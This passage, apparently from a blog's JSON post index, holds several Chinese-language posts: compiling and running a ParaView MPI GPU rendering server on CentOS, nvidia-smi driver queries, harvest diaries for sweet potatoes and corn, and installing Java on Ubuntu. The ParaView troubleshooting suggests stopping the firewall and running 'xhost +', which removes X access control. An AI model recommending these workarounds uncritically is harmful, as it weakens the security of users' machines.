not found... 編譯 ParaView 伺服器 我嘗試過直接使用編譯好的 ParaView 伺服器，但是執行時無法正常啟動 MPI（我猜應該是沒有抓到系統的 MPI 導致的），只能以單一台機器的模式使用，所以若要使用 MPI 的話，可能還是要自己編譯。\n首先下載與安裝 CMake：\nwget https://cmake.org/files/v3.8/cmake-3.8.0-rc1-Linux-x86_64.sh chmod +x cmake-3.8.0-rc1-Linux-x86_64.sh ./cmake-3.8.0-rc1-Linux-x86_64.sh 接下來要準備編譯 ParaView 的伺服器，編譯過程跟一般的 CMake 專案都相同：\ntar zxvf ParaView-v5.3.0-RC1.tar.gz mkdir build-mpi cd build-mpi cmake ../ParaView-v5.3.0-RC1/ 在 CMakeCache.txt 中的設定有幾個地方要改，首先是設定 NVIDIA 的 OpenGL 函式庫：\n// 設定 NVIDIA 提供的 libGL.so OPENGL_gl_LIBRARY:FILEPATH=/usr/lib64/nvidia/libGL.so 還有啟用 ParaView 的 MPI 平行計算功能：\n// 啟用 MPI，支援平行計算 PARAVIEW_USE_MPI:BOOL=ON 在伺服器上不需要 GUI 圖形界面，所以可以不需要編譯 QT 的 client，可以大幅減少編譯所需的時間：\n// 停用 ParaView Qt GUI 圖形界面 client PARAVIEW_BUILD_QT_GUI:BOOL=OFF 通常安裝路徑也可以改一下：\n// 設定安裝路徑 CMAKE_INSTALL_PREFIX:PATH=/opt/paraview-5.3-mpi/ 其他的參數則自行調整，接著就可以進行編譯。\n在伺服器上用 make 編譯時，可用多顆 CPU 平行編譯，速度會快很多，例如用 40 顆 CPU 平行編譯：\nmake -j40 使用平行編譯只要幾分鐘就可以編完了，接著安裝：\nmake install 單機 MPI 執行 ParaView 伺服器 這是使用 mpirun 在一台機器上執行 ParaView 伺服器，並且平行使用兩張顯示卡的指令：\nmpirun --map-by node -np 1 /opt/paraview-5.3-mpi/bin/pvserver -display :0.0 : -np 1 /opt/paraview-5.3-mpi/bin/pvserver -display :0.1 用戶端 ParaView client 就直接使用官方編譯好的版本即可，開啟 ParaView 之後，先新增一台 ParaView 伺服器，然後連線至 ParaView 伺服器，伺服器預設的連接埠（port）是 11111（這個在 ParaView 執行時也會顯示）。\n接著開啟 ParaView 官方提供的範例檔來測試，我用 headsq.vti 這個 volume 資料來測試，開啟原始資料之後，加入一個 Contour filter，讓它產生 isosurface，接著在加上一個特殊的「Process Id Scalars」filter，讓 ParaView 將不同伺服器 process 所畫出來的圖形顯示為不同的顏色。\n這裡我們使用 MPI 執行兩個 ParaView 伺服器的 process，分別使用兩張不同的 GPU 顯示卡，圖形上的兩個顏色分別代表從兩張 GPU 顯示卡所畫出來的部份。\n在畫圖時順便可用 nvidia-smi 觀察 GPU 顯示卡的狀況：\nnvidia-smi -l 3 每 3 秒更新一次資訊：\nFri Feb 17 10:11:32 2017 +-----------------------------------------------------------------------------+ | NVIDIA-SMI 375.26 Driver Version: 375.26 | |-------------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | |===============================+======================+======================| | 0 GeForce GTX 106... Off | 0000:03:00.0 Off | N/A | | 28% 27C P8 6W / 120W | 90MiB / 6072MiB | 0% Default | +-------------------------------+----------------------+----------------------+ | 1 GeForce GTX 106... Off | 0000:84:00.0 Off | N/A | | 28% 25C P8 5W / 120W | 38MiB / 6072MiB | 0% Default | +-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+ | Processes: GPU Memory | | GPU PID Type Process name Usage | |=============================================================================| | 0 13747 G /usr/bin/Xorg 61MiB | | 0 13803 G gnome-shell 10MiB | | 0 36853 G ...araview-5.3-mpi/lib/paraview-5.3/pvserver 16MiB | | 1 13747 G /usr/bin/Xorg 18MiB | | 1 36854 G ...araview-5.3-mpi/lib/paraview-5.3/pvserver 17MiB | +-----------------------------------------------------------------------------+ 這樣就可以非常確定 ParaView 伺服器是真的使用 GPU 在畫圖，而不是使用 CPU 的軟體繪圖模式。\nParaView 的 server 與 client 一定要是相同的版本，否則不能連線，但是可以允許不同的作業系統，這裡我們的 ParaView server 是用 CentOS Linux 架設的，也可以在 Mac OS X 上使用 ParaView client 連線至 server 進行平行繪圖。\n多節點平行繪圖 將單節點、兩張 GPU 顯示卡平行繪圖的架構設定好之後，接下來就要串連兩個節點，使用 4 張 GPU 卡來畫圖了。\n建立 SSH 公開金鑰認證 將兩台繪圖節點都設定好之後，接著要將兩台伺服器用 MPI 串起來使用，首先解決 ssh 登入的問題。\n在繪圖節點上建立 ssh 認證用的金鑰：\nssh-keygen 將產生的公鑰放入 ~/.ssh/authorized_keys：\ncat ~/.ssh/id_rsa.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys 將 ~/.ssh 的內容同步複製到另外一台繪圖節點，讓節點之間可不用密碼互相登入。\n關於 ssh 金鑰認證登入的詳細說明請參考 SSH 公開金鑰認證。\n檔案系統 這裡的檔案系統就仿照一般的 MPI 叢集電腦架設即可，可使用 NIS 與 NFS 架設，至於平行化的檔案系統與效能問題，就等以後再討論。\n多節點 MPI 執行 ParaView 伺服器 設定預設的 MPI 環境：\necho \u0026#34;module load mpi/openmpi-x86_64\u0026#34; \u0026gt;\u0026gt; ~/.bashrc 先測試多節點的 OpenMPI 是否正常：\nmpirun --host server1,server2 -np 2 hostname 參考 OpenMPI 的文件，建立一個 myhostfile 設定檔：\nserver1 slots=2 server2 slots=2 使用兩個繪圖節點，總共 4 張 GPU 顯示卡平行繪圖：\nmpirun --map-by node --hostfile myhostfile -np 2 /opt/paraview-5.3-mpi/bin/pvserver -display :0.0 : -np 2 /opt/paraview-5.3-mpi/bin/pvserver -display :0.1 ParaView client 的連線方式與單節點相同，這是顯示的結果。\n最後用 nvidia-smi 指令檢查兩台繪圖節點的 GPU 狀況，確認 4 個 ParaView server 都有用到 GPU 繪圖。\n問題與解決方法 以下是在建置 ParaView 的 MPI 平行繪圖伺服器過程中，所遇到的各種問題與處理方法，因為問題真的很多，只紀錄比較有參考價值的部份。\nOpenMPI 啟動延遲 15 秒 在使用 mpirun 執行 ParaView 伺服器時，會出現類似這樣的錯誤訊息：\nmy.host.com.34522hfi_wait_for_device: The /dev/hfi1_0 device failed to appear after 15.0 seconds: Connection timed out my.host.com.34523hfi_wait_for_device: The /dev/hfi1_0 device failed to appear after 15.0 seconds: Connection timed out Waiting for client... Connection URL: cs://my.host.com:11111 Accepting connection(s): my.host.com:11111 這是一個 OpenMPI 的 bug，目前最新版的 OpenMPI 已經修正了，但是 CentOS 的套件庫尚未更新。\n這個問題是由於 OpenMPI 執行時會檢查 PSM2 設備，但若沒有任何 MSM2 設備時，就會浪費 15 秒的時間，但後續程式的執行則不受影響，暫時可忽略這個問題。\n伺服器虛擬螢幕解析度問題 一開始我在設定伺服器的 NVIDIA 顯示卡時，沒有注意到虛擬螢幕解析度的問題，導致 ParaView 在視窗放大時會出現類似這樣的空白區塊：\n我發現這個異常的空白方塊始終都不會出現在畫面的左上角，我用繪圖軟體把畫面照下來，測量了一下左上角正常的區域，大小剛好是 640×480，這個數字相當敏感，八成就是伺服器解析度的問題。\n接著檢查 /var/log/Xorg.0.log 這個紀錄檔，用 640 這個關鍵字去搜尋，果然找到這一段：\n[575462.042] (==) NVIDIA(0): No modes were requested; the default mode \"nvidia-auto-select\" [575462.042] (==) NVIDIA(0): will be used as the requested mode. [575462.042] (==) NVIDIA(0): [575462.042] (--) NVIDIA(0): No enabled display devices found; starting anyway because [575462.042] (--) NVIDIA(0): AllowEmptyInitialConfiguration is enabled [575462.043] (II) NVIDIA(0): Validated MetaModes: [575462.043] (II) NVIDIA(0): \"NULL\" [575462.043] (II) NVIDIA(0): Virtual screen size determined to be 640 x 480 [575462.043] (WW) NVIDIA(0): Unable to get display device for DPI computation. [575462.043] (==) NVIDIA(0): DPI set to (75, 75); computed from built-in default 因為我的顯示卡都沒有接螢幕，所以能調整的只有虛擬螢幕解大小（virtual screen size），而這裡 NVIDIA 自動將虛擬螢幕解大小設定為 640 x 480，導致 ParaView 伺服器畫圖時的畫面不夠大，畫不出來。\n找到原因之後，再查詢 nvidia-xconfig 的 man page：\nman nvidia-xconfig 找到這一個設定虛擬螢幕解大小的參數：\n--virtual=WIDTHxHEIGHT, --no-virtual Specify the virtual screen resolution. 加上去之後，問題就解決了，我目前將虛擬螢幕解大小設定為 1600x1200，這個大小沒有一定的標準，要看 ParaView client 的畫面大小而定，只要不要比 client 畫面還小就可以了。\n越過防火牆 由於 ParaView server 與 client 架構需要用到特定的 tcp 連接埠溝通，很容易就會遇到防火牆阻擋的問題而不能運作，最簡單的解決方法就是使用 SSH tunnel，在 client 執行：\nssh -NL 11111:localhost:11111 seal@my.server.com 這樣 ParaView 就可以透過 localhost:11111 連到 my.server.com 的 localhost:11111。\nOpenMPI 與防火牆問題 如果在執行多節點的 MPI 程式時，出現這樣的訊息：\n[my.server.com:36639] [[65510,0],1] tcp_peer_send_blocking: send() to socket 9 failed: Broken pipe (32) -------------------------------------------------------------------------- ORTE was unable to reliably start one or more daemons. This usually is caused by: * not finding the required libraries and/or binaries on one or more nodes. Please check your PATH and LD_LIBRARY_PATH settings, or configure OMPI with --enable-orterun-prefix-by-default * lack of authority to execute on one or more specified nodes. Please verify your allocation and authorities. * the inability to write startup files into /tmp (--tmpdir/orte_tmpdir_base). Please check with your sys admin to determine the correct location to use. * compilation of the orted with dynamic libraries when static are required (e.g., on Cray). Please check your configure cmd line and consider using one of the contrib/platform definitions for your system type. * an inability to create a connection back to mpirun due to a lack of common network interfaces and/or no route found between them. Please check network connectivity (including firewalls and network routing requirements). -------------------------------------------------------------------------- 這個有可能是系統的防火牆把 OpenMPI 的通訊擋掉了，可以嘗試關閉防火牆來解決。\nsystemctl stop firewalld 另外如果是沒有設定好預設的 MPI 環境，錯誤訊息也是類似這樣，但可能會多出一行：\nbash: orted: command not found 這個問題就是按照上面的描述的方式設定好 OpenMPI 環境即可。\nOpenMPI 與虛擬網路卡問題 由於我的兩台伺服器上都有安裝 KVM，其 NAT 網路所使用的 virbr0 虛擬網路卡（IP 位址為 192.168.122.1），會造成 OpenMPI 在執行時出錯，大部分的狀況是 mpirun 執行之後就卡住沒反應，也有時候會出現這樣的訊息：\n[server2][[62439,1],1][btl_tcp_endpoint.c:818:mca_btl_tcp_endpoint_complete_connect] connect() to 192.168.122.1 failed: Connection refused (111) [server1][[62439,1],0][btl_tcp_endpoint.c:818:mca_btl_tcp_endpoint_complete_connect] connect() to 192.168.122.1 failed: Connection refused (111) 通常這個問題的解決方法應該是按照 StackOverflow 的解法，並參考 OpenMPI 的文件，明確指定 OpenMPI 要使用的網路介面或是子網域範圍：\nmpirun --mca btl_tcp_if_include eth0 ... 不過由於我的兩台機器網路卡又不一樣，所以乾脆直接把兩台的 virbr0 直接關掉：\nsudo ifconfig virbr0 down 這樣就正常了，但這不是個好辦法。\n若要直接刪掉這個 KVM 的 NAT 虛擬網路卡介面，可參考 nixCraft 的文件。\n無法建立 OpenGL 繪圖視窗 有時候 X Window 執行太久，在 ParaView client 連線至伺服器時，會出現這樣的錯誤：\nERROR: In /work/seal/ParaView-v5.3.0-RC1/VTK/Rendering/OpenGL2/vtkXOpenGLRenderWindow.cxx, line 809 vtkXOpenGLRenderWindow (0x1118940): failed to create offscreen window ERROR: In /work/seal/ParaView-v5.3.0-RC1/VTK/Rendering/OpenGL2/vtkOpenGLRenderWindow.cxx, line 721 vtkXOpenGLRenderWindow (0x1118940): GLEW could not be initialized. 遇到這個狀況時，我是將 X Window 重新啟動即可解決。\nsudo service gdm restart DISPLAY=:0 sudo xhost + ","permalink":"https://blog.gtwang.org/linux/linux-install-paraview-mpi-parallel-server-tutorial-20170217/","summary":"\u003cp\u003e這裡紀錄在 CentOS Linux 系統上編譯、安裝與設定 ParaView，使用 OpenMPI 打造平行繪圖伺服器的過程。\u003c/p\u003e\n\u003cp\u003e本篇文章是我個人的工作記錄，由於技術細節太多了，很難完全寫下來，所以只能當作參考用，但我相信如果您想要架設 ParaView 的繪圖叢集電腦，這篇是很有價值的參考資料。\u003c/p\u003e","title":"ParaView MPI 平行繪圖伺服器編譯、安裝與設定過程紀錄"},{"content":"這裡介紹幾種在 Linux 系統上使用指令查詢 Nvidia 驅動程式版本以及 GPU 顯示卡資訊的方法。\nnvidia-smi 指令工具 Nvidia 所提供的 nvidia-smi（NVIDIA System Management Interface）管理工具可以直接查詢驅動程式與顯示卡的資訊：\nnvidia-smi Tue Feb 14 15:43:58 2017 +-----------------------------------------------------------------------------+ | NVIDIA-SMI 375.26 Driver Version: 375.26 | |-------------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | |===============================+======================+======================| | 0 GeForce GTX 106... Off | 0000:03:00.0 Off | N/A | | 28% 29C P0 27W / 120W | 0MiB / 6072MiB | 0% Default | +-------------------------------+----------------------+----------------------+ | 1 GeForce GTX 106... Off | 0000:84:00.0 Off | N/A | | 0% 28C P0 27W / 120W | 0MiB / 6072MiB | 0% Default | +-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+ | Processes: GPU Memory | | GPU PID Type Process name Usage | |=============================================================================| | No running processes found | +-----------------------------------------------------------------------------+ -L 參數可列出所有插在電腦上的 GPU 卡：\nnvidia-smi -L GPU 0: GeForce GTX 1060 6GB (UUID: GPU-aa9427cb-d5f1-429a-754b-51a3b41d6a96) GPU 1: GeForce GTX 1060 6GB (UUID: GPU-c23faedd-2c32-b000-f6f7-0ed8a72c191c) -q 參數可列出 GPU 卡非常詳細的資訊：\nnvidia-smi -q ==============NVSMI LOG============== Timestamp : Tue Feb 14 16:19:18 2017 Driver Version : 375.26 Attached GPUs : 2 GPU 0000:03:00.0 Product Name : GeForce GTX 1060 6GB Product Brand : GeForce Display Mode : Disabled Display Active : Disabled Persistence Mode : Disabled Accounting Mode : Disabled Accounting Mode Buffer Size : 1920 Driver Model Current : N/A Pending : N/A Serial Number : N/A GPU UUID : GPU-aa9427cb-d5f1-429a-754b-51a3b41d6a96 Minor Number : 0 VBIOS Version : 86.06.0E.00.41 MultiGPU Board : No Board ID : 0x300 GPU Part Number : N/A Inforom Version Image Version : G001.0000.01.03 OEM Object : 1.1 ECC Object : N/A Power Management Object : N/A GPU Operation Mode Current : N/A Pending : N/A GPU Virtualization Mode Virtualization mode : None PCI Bus : 0x03 Device : 0x00 Domain : 0x0000 Device Id : 0x1C0310DE Bus Id : 0000:03:00.0 Sub System Id : 0x85AE1043 GPU Link Info PCIe Generation Max : 3 Current : 3 Link Width Max : 16x Current : 16x Bridge Chip Type : N/A Firmware : N/A Replays since reset : 0 Tx Throughput : 0 KB/s Rx Throughput : 0 KB/s Fan Speed : 28 % Performance State : P0 Clocks Throttle Reasons Idle : Not Active Applications Clocks Setting : Active SW Power Cap : Not Active HW Slowdown : Not Active Sync Boost : Not Active Unknown : Not Active FB Memory Usage Total : 6072 MiB Used : 0 MiB Free : 6072 MiB BAR1 Memory Usage Total : 256 MiB Used : 2 MiB Free : 254 MiB Compute Mode : Default Utilization Gpu : 0 % Memory : 0 % Encoder : 0 % Decoder : 0 % Ecc Mode Current : N/A Pending : N/A ECC Errors Volatile Single Bit Device Memory : N/A Register File : N/A L1 Cache : N/A L2 Cache : N/A Texture Memory : N/A Texture Shared : N/A Total : N/A Double Bit Device Memory : N/A Register File : N/A L1 Cache : N/A L2 Cache : N/A Texture Memory : N/A Texture Shared : N/A Total : N/A Aggregate Single Bit Device Memory : N/A Register File : N/A L1 Cache : N/A L2 Cache : N/A Texture Memory : N/A Texture Shared : N/A Total : N/A Double Bit Device Memory : N/A Register File : N/A L1 Cache : N/A L2 Cache : N/A Texture Memory : N/A Texture Shared : N/A Total : N/A Retired Pages Single Bit ECC : N/A Double Bit ECC : N/A Pending : N/A Temperature GPU Current Temp : 29 C GPU Shutdown Temp : 102 C GPU Slowdown Temp : 99 C Power Readings Power Management : Supported Power Draw : 28.66 W Power Limit : 120.00 W Default Power Limit : 120.00 W Enforced Power Limit : 120.00 W Min Power Limit : 60.00 W Max Power Limit : 140.00 W Clocks Graphics : 1569 MHz SM : 1569 MHz Memory : 4006 MHz Video : 1417 MHz Applications Clocks Graphics : N/A Memory : N/A Default Applications Clocks Graphics : N/A Memory : N/A Max Clocks Graphics : 1974 MHz SM : 1974 MHz Memory : 4004 MHz Video : 1708 MHz Clock Policy Auto Boost : N/A Auto Boost Default : N/A Processes : None GPU 0000:84:00.0 Product Name : GeForce GTX 1060 6GB Product Brand : GeForce Display Mode : Disabled Display Active : Disabled Persistence Mode : Disabled Accounting Mode : Disabled Accounting Mode Buffer Size : 1920 Driver Model Current : N/A Pending : N/A Serial Number : N/A GPU UUID : GPU-c23faedd-2c32-b000-f6f7-0ed8a72c191c Minor Number : 1 VBIOS Version : 86.06.0E.00.41 MultiGPU Board : No Board ID : 0x8400 GPU Part Number : N/A Inforom Version Image Version : G001.0000.01.03 OEM Object : 1.1 ECC Object : N/A Power Management Object : N/A GPU Operation Mode Current : N/A Pending : N/A GPU Virtualization Mode Virtualization mode : None PCI Bus : 0x84 Device : 0x00 Domain : 0x0000 Device Id : 0x1C0310DE Bus Id : 0000:84:00.0 Sub System Id : 0x85AE1043 GPU Link Info PCIe Generation Max : 3 Current : 3 Link Width Max : 16x Current : 16x Bridge Chip Type : N/A Firmware : N/A Replays since reset : 0 Tx Throughput : 0 KB/s Rx Throughput : 0 KB/s Fan Speed : 28 % Performance State : P0 Clocks Throttle Reasons Idle : Not Active Applications Clocks Setting : Active SW Power Cap : Not Active HW Slowdown : Not Active Sync Boost : Not Active Unknown : Not Active FB Memory Usage Total : 6072 MiB Used : 0 MiB Free : 6072 MiB BAR1 Memory Usage Total : 256 MiB Used : 2 MiB Free : 254 MiB Compute Mode : Default Utilization Gpu : 2 % Memory : 0 % Encoder : 0 % Decoder : 0 % Ecc Mode Current : N/A Pending : N/A ECC Errors Volatile Single Bit Device Memory : N/A Register File : N/A L1 Cache : N/A L2 Cache : N/A Texture Memory : N/A Texture Shared : N/A Total : N/A Double Bit Device Memory : N/A Register File : N/A L1 Cache : N/A L2 Cache : N/A Texture Memory : N/A Texture Shared : N/A Total : N/A Aggregate Single Bit Device Memory : N/A Register File : N/A L1 Cache : N/A L2 Cache : N/A Texture Memory : N/A Texture Shared : N/A Total : N/A Double Bit Device Memory : N/A Register File : N/A L1 Cache : N/A L2 Cache : N/A Texture Memory : N/A Texture Shared : N/A Total : N/A Retired Pages Single Bit ECC : N/A Double Bit ECC : N/A Pending : N/A Temperature GPU Current Temp : 28 C GPU Shutdown Temp : 102 C GPU Slowdown Temp : 99 C Power Readings Power Management : Supported Power Draw : 28.50 W Power Limit : 120.00 W Default Power Limit : 120.00 W Enforced Power Limit : 120.00 W Min Power Limit : 60.00 W Max Power Limit : 140.00 W Clocks Graphics : 1569 MHz SM : 1569 MHz Memory : 4006 MHz Video : 1417 MHz Applications Clocks Graphics : N/A Memory : N/A Default Applications Clocks Graphics : N/A Memory : N/A Max Clocks Graphics : 1974 MHz SM : 1974 MHz Memory : 4004 MHz Video : 1708 MHz Clock Policy Auto Boost : N/A Auto Boost Default : N/A Processes : None Linux 系統指令 除了使用 Nvidia 所提供的工具之外，也可以從 kernel 組入的驅動程式來看：\ncat /proc/driver/nvidia/version NVRM version: NVIDIA UNIX x86_64 Kernel Module 375.26 Thu Dec 8 18:36:43 PST 2016 GCC version: gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC) 或是使用 modinfo 查看：\nmodinfo nvidia filename: /lib/modules/3.10.0-327.el7.x86_64/extra/nvidia.ko alias: char-major-195-* version: 375.26 supported: external license: NVIDIA rhelversion: 7.2 srcversion: 7850503DF85713C6E0D88A3 alias: pci:v000010DEd00000E00sv*sd*bc04sc80i00* alias: pci:v000010DEd*sv*sd*bc03sc02i00* alias: pci:v000010DEd*sv*sd*bc03sc00i00* depends: i2c-core vermagic: 3.10.0-327.el7.x86_64 SMP mod_unload modversions parm: NVreg_Mobile:int parm: NVreg_ResmanDebugLevel:int parm: NVreg_RmLogonRC:int parm: NVreg_ModifyDeviceFiles:int parm: NVreg_DeviceFileUID:int parm: NVreg_DeviceFileGID:int parm: NVreg_DeviceFileMode:int parm: NVreg_UpdateMemoryTypes:int parm: NVreg_InitializeSystemMemoryAllocations:int parm: NVreg_UsePageAttributeTable:int parm: NVreg_MapRegistersEarly:int parm: NVreg_RegisterForACPIEvents:int parm: NVreg_CheckPCIConfigSpace:int parm: NVreg_EnablePCIeGen3:int parm: NVreg_EnableMSI:int parm: NVreg_TCEBypassMode:int parm: NVreg_UseThreadedInterrupts:int parm: NVreg_MemoryPoolSize:int parm: NVreg_RegistryDwords:charp parm: NVreg_RmMsg:charp parm: NVreg_AssignGpus:charp 參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/linux/how-to-get-the-nvidia-driver-version-from-the-command-line/","summary":"\u003cp\u003e這裡介紹幾種在 Linux 系統上使用指令查詢 Nvidia 驅動程式版本以及 GPU 顯示卡資訊的方法。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"nvidia-smi-指令工具\"\u003e\u003ccode\u003envidia-smi\u003c/code\u003e 指令工具\u003c/h2\u003e\n\u003cp\u003eNvidia 所提供的 \u003ccode\u003envidia-smi\u003c/code\u003e（NVIDIA System Management Interface）管理工具可以直接查詢驅動程式與顯示卡的資訊：\u003c/p\u003e","title":"Linux 如何用指令查詢 Nvidia 驅動程式版本與 GPU 顯示卡資訊？"},{"content":"本篇是芋頭地瓜（蕃薯）的簡單紀錄。\n這是朋友送給我的芋頭地瓜（芋頭蕃薯），由於這幾顆地瓜是種在山上的有機地瓜，所以外觀看起來沒有很好看，這次拿回來打算在平地試種。\n這種白皮紫心的芋頭地瓜富含花青素，很適合拿來做烤地瓜、炸地瓜，由於色澤漂亮，做成地瓜圓也不錯。\n","permalink":"https://blog.gtwang.org/life/purple-taro-sweet-potato-20170213/","summary":"\u003cp\u003e本篇是芋頭地瓜（蕃薯）的簡單紀錄。\u003c/p\u003e\n\u003cp\u003e這是朋友送給我的芋頭地瓜（芋頭蕃薯），由於這幾顆地瓜是種在山上的有機地瓜，所以外觀看起來沒有很好看，這次拿回來打算在平地試種。\u003c/p\u003e","title":"紫色的芋頭地瓜蕃薯：富含花青素"},{"content":"DirtyMarkup 是一個程式碼排版小工具，支援 HTML、JavaScript 與 CSS 這些網頁程式碼。\n在開發網頁時，通常會參考別人的網頁程式碼，看看別人的網頁是怎麼寫的，而現在的網頁由於效能的考量，都會使用各種壓縮工具（例如 YUI Compressor），查看這種網頁時，如果沒有使用一些排版工具的話，看起來真的很吃力。\nDirtyMarkup 是一個可以排版 HTML、JavaScript 與 CSS 這些網頁程式碼的小工具，不用安裝也不用註冊，臨時要用到時打開網頁就可以立即使用。\n名稱：DirtyMarkup 網頁程式碼自動排版工具\n網址：https://dirtymarkup.com/\n首先把原始的程式碼複製起來。\n接著把程式碼貼入 DirtyMarkup 的網頁編輯視窗，按下「Clean」即可自動排版程式碼。\nDirtyMarkup 提供了幾種程式碼排版的選項，使用者可以自行調整排版的格式。\n雖然 Google Chrome 等瀏覽器也都有內建的網頁程式碼排版功能，不過這個小工具還是蠻實用的。\n","permalink":"https://blog.gtwang.org/useful-tools/dirtymarkup-html-javascript-css-code-markup-online-tool/","summary":"\u003cp\u003eDirtyMarkup 是一個程式碼排版小工具，支援 HTML、JavaScript 與 CSS 這些網頁程式碼。\u003c/p\u003e\n\u003cp\u003e在開發網頁時，通常會參考別人的網頁程式碼，看看別人的網頁是怎麼寫的，而現在的網頁由於效能的考量，都會使用各種壓縮工具（例如 \u003ca href=\"/web-development/yui-compressor-javascript-css/\"\u003eYUI Compressor\u003c/a\u003e），查看這種網頁時，如果沒有使用一些排版工具的話，看起來真的很吃力。\u003c/p\u003e","title":"DirtyMarkup 網頁程式碼自動排版工具"},{"content":"這是今年第一次試種的紫葉、紫藤白色地瓜，拍一些照片在這裡做一個紀錄。\n去年我們第一次拿到一種葉子與藤都是紫色，而表皮與內部都是白色的地瓜品種，因為聽說這種品種很好吃，所以去年拿回來試種，以下是這兩天採收的紀錄。\n這張照片左邊的是一般黃色的地瓜，右邊這一壟則是紫葉白色地瓜。\n這是紫葉白色地瓜的葉子。\n採收時要先把地上的地瓜藤割下來。\n這是割地瓜藤的影片。\n將地瓜藤翻開之後，再用鋤頭開始把地瓜挖出來。\n這是用鋤頭挖地瓜的影片。\n用鋤頭挖地瓜的時候，要從地瓜的兩側把地瓜挖出來，才不會傷到地瓜。\n這些就是挖出來的白色地瓜。\n這種地瓜從表皮到內部都是白色的。\n雖然這一批白色地瓜只是試種，產量不多，但也是有人訂購，所以挖出來也是會先經過挑選。\n這一壟就是今天採收的白色地瓜，總量大約有三十幾台斤。\n這是篩選出來品質較好的一籃白色地瓜。\n這樣一籃是 20 台斤。\n這三籃就是今天採收的所有白色地瓜。\n地瓜載回來之後，進行裝箱配送。\n這是白色地瓜與黃色地瓜的顏色比較，左邊的是普通的黃色地瓜，右邊的是白色地瓜 （那一袋是淘汰下來的，所以形狀沒有非常好看）。\n這是我們在打包地瓜的實景。\n今天回家總共載了 100 台斤的地瓜，剛好把後車廂塞滿。\n這是用白色地瓜與黃色地瓜煮的地瓜稀飯。\n","permalink":"https://blog.gtwang.org/agriculture/sweet-potato-field-sigang-tainan-20170211/","summary":"\u003cp\u003e這是今年第一次試種的紫葉、紫藤白色地瓜，拍一些照片在這裡做一個紀錄。\u003c/p\u003e\n\u003cp\u003e去年我們第一次拿到一種葉子與藤都是紫色，而表皮與內部都是白色的地瓜品種，因為聽說這種品種很好吃，所以去年拿回來試種，以下是這兩天採收的紀錄。\u003c/p\u003e","title":"[台南西港] 紫葉白色地瓜（蕃薯）"},{"content":"這是我們家最近採收要留作種子用的黑珍珠玉米。\n通常這種黑珍珠玉米都是在玉米粒呈現黑白相間的時機採收，這樣口感才會比較好，而這一些玉米是要留起來作為種子用的，所以會等到玉米完全成熟後才會摘下來，其顏色會比較深。\n我們每年都會種植並留下一些優質的玉米做為種子。\n這些要作為種子用的玉米採收下來之後，要先經過陽光曝曬後才能保存。\n一般白色的糯玉米都要購買種子，而這種黑珍珠玉米則是可以自己留種子。\n在玉米曬乾之後，就可以將玉米粒撥下來，就變成一粒一粒的玉米種子了。\n若想要讓玉米種子可以長期保存，可使用兩層塑膠袋，將曬乾的玉米包起來。\n將內層的塑膠袋先綁起來。\n接著再綁外層的塑膠袋。\n將包好的玉米種子放進冰箱最下層的抽屜，這樣就可以存放很久了。\n","permalink":"https://blog.gtwang.org/agriculture/black-pearl-corn-sigang-tainan-20170211/","summary":"\u003cp\u003e這是我們家最近採收要留作種子用的黑珍珠玉米。\u003c/p\u003e\n\u003cp\u003e通常這種黑珍珠玉米都是在玉米粒呈現黑白相間的時機採收，這樣口感才會比較好，而這一些玉米是要留起來作為種子用的，所以會等到玉米完全成熟後才會摘下來，其顏色會比較深。\u003c/p\u003e","title":"[台南西港] 留作種子用的黑珍珠玉米"},{"content":"本篇文章介紹如何在 Ubuntu Linux 中以 apt 安裝 Oracle 或 OpenJDK 的 Java 的 JRE 執行環境以及 JDK 開發環境。\nJava 是許多應用軟體都會需要的執行環境，而在 Ubuntu Linux 中的 Java 版本主要有兩種，一個是 Oracle 官方的 Java，另外一個是 OpenJDK 開放原始碼的 Java，這兩種 Java 實作版本都有通過 TCK，而且兩者目前主要都是 Oracle 在維護，差異其實不大（請參考 StackOverflow）。\n以下是在 Ubuntu Linux 中使用 apt 安裝 Oracle 與 OpenJDK 的 Java 安裝步驟。\nOpenJDK OpenJDK 是 Ubuntu Linux 預設的 JRE/JDK，我們可以使用 apt 安裝：\nsudo apt-get update sudo apt-get install default-jre 若只是要執行一般的 Java 應用程式，就只要安裝 JRE 即可，如果是要使用 Java 開發程式，就要加裝 JDK：\nsudo apt-get install default-jdk 安裝完成後，可以檢查一下 java 的版本：\njava -version openjdk version \"1.8.0_121\" OpenJDK Runtime Environment (build 1.8.0_121-8u121-b13-0ubuntu1.16.04.2-b13) OpenJDK 64-Bit Server VM (build 25.121-b13, mixed mode) javac -version javac 1.8.0_121 Oracle JDK 由於 Oracle 的 Java 版本不是屬於開放原始碼授權的，所以如果想要安裝 Oracle 官方的 JDK 環境，步驟會稍微複雜一些。 首先新增一個 PPA：\nsudo add-apt-repository ppa:webupd8team/java sudo apt-get update 接著依照自己需要的 Java 版本安裝。\nsudo apt-get install oracle-java6-installer # 安裝 Oracle JDK 6 sudo apt-get install oracle-java7-installer # 安裝 Oracle JDK 7 sudo apt-get install oracle-java8-installer # 安裝 Oracle JDK 8 sudo apt-get install oracle-java9-installer # 安裝 Oracle JDK 9 目前 Java 最新的穩定版本是 安裝 Oracle JDK 8，沒有特殊需求的話，建議安裝這一個版本。\nOracle JDK 9 預定 2017 年三月份才會釋出正式版，目前還是 preview 版，正式的環境不建議使用。\n由於 Oracle 的 Java 是屬於 Oracle 公司所有，它的授權方式不是一般的開放原始碼授權，安裝時會跳出類似這種授權條款訊息，必須選擇「Yes」同意授權條款才能安裝 Oracle 的 Java。\n設定系統 Java 版本 在 Ubuntu Linux 系統上我們可以同時安裝多種 Java 版本，兒我們可以透過 